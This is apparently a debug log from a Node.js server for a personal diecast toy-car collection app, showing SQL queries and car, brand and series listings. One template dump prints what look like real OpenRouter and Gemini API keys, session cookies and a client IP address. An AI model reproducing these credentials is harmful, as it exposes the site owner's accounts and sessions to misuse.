      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-05-18T06:00:41.233Z server-connect:router Serving templateView /diecast
2026-05-18T06:00:41.234Z server-connect:app Executing action step identify
2026-05-18T06:00:41.234Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:41.234Z server-connect:output identity: 1
2026-05-18T06:00:41.234Z server-connect:app Executing action step restrict
2026-05-18T06:00:41.234Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:41.235Z server-connect:output restrict: undefined
2026-05-18T06:00:41.235Z server-connect:router Render template diecast
2026-05-18T06:00:41.235Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:41.495Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-18T06:00:41.495Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-18T06:00:41.495Z server-connect:router Serving serverConnect /api/diecast/list
2026-05-18T06:00:41.496Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-18T06:00:41.497Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-05-18T06:00:41.497Z server-connect:app Executing action step identify
2026-05-18T06:00:41.497Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:41.497Z server-connect:output identity: 1
2026-05-18T06:00:41.497Z server-connect:app Executing action step restrict
2026-05-18T06:00:41.497Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:41.498Z server-connect:app Executing action step identify
2026-05-18T06:00:41.498Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:41.498Z server-connect:output identity: 1
2026-05-18T06:00:41.498Z server-connect:app Executing action step restrict
2026-05-18T06:00:41.498Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:41.498Z server-connect:app Executing action step identify
2026-05-18T06:00:41.498Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:41.498Z server-connect:output identity: 1
2026-05-18T06:00:41.498Z server-connect:app Executing action step restrict
2026-05-18T06:00:41.498Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:41.499Z server-connect:app Executing action step identify
2026-05-18T06:00:41.499Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:41.499Z server-connect:output identity: 1
2026-05-18T06:00:41.499Z server-connect:app Executing action step restrict
2026-05-18T06:00:41.499Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:41.499Z server-connect:output restrict: undefined
2026-05-18T06:00:41.499Z server-connect:app Executing action step select
2026-05-18T06:00:41.499Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-18T06:00:41.500Z server-connect:output restrict: undefined
2026-05-18T06:00:41.500Z server-connect:app Executing action step paged
2026-05-18T06:00:41.500Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-05-18T06:00:41.501Z server-connect:app Executing action step identify
2026-05-18T06:00:41.501Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:41.501Z server-connect:output identity: 1
2026-05-18T06:00:41.501Z server-connect:app Executing action step restrict
2026-05-18T06:00:41.501Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:41.502Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-05-18T06:00:41.503Z server-connect:output restrict: undefined
2026-05-18T06:00:41.503Z server-connect:app Executing action step select
2026-05-18T06:00:41.503Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-18T06:00:41.504Z server-connect:output restrict: undefined
2026-05-18T06:00:41.504Z server-connect:app Executing action step select
2026-05-18T06:00:41.504Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-18T06:00:41.505Z server-connect:output restrict: undefined
2026-05-18T06:00:41.505Z server-connect:app Executing action step select
2026-05-18T06:00:41.505Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-05-18T06:00:41.507Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-05-18T06:00:41.508Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-05-18T06:00:41.508Z server-connect:app Executing action step select
2026-05-18T06:00:41.508Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-05-18T06:00:41.510Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-05-18T06:00:41.511Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-05-18T06:00:41.511Z server-connect:app Executing action step select
2026-05-18T06:00:41.511Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-05-18T06:00:41.512Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
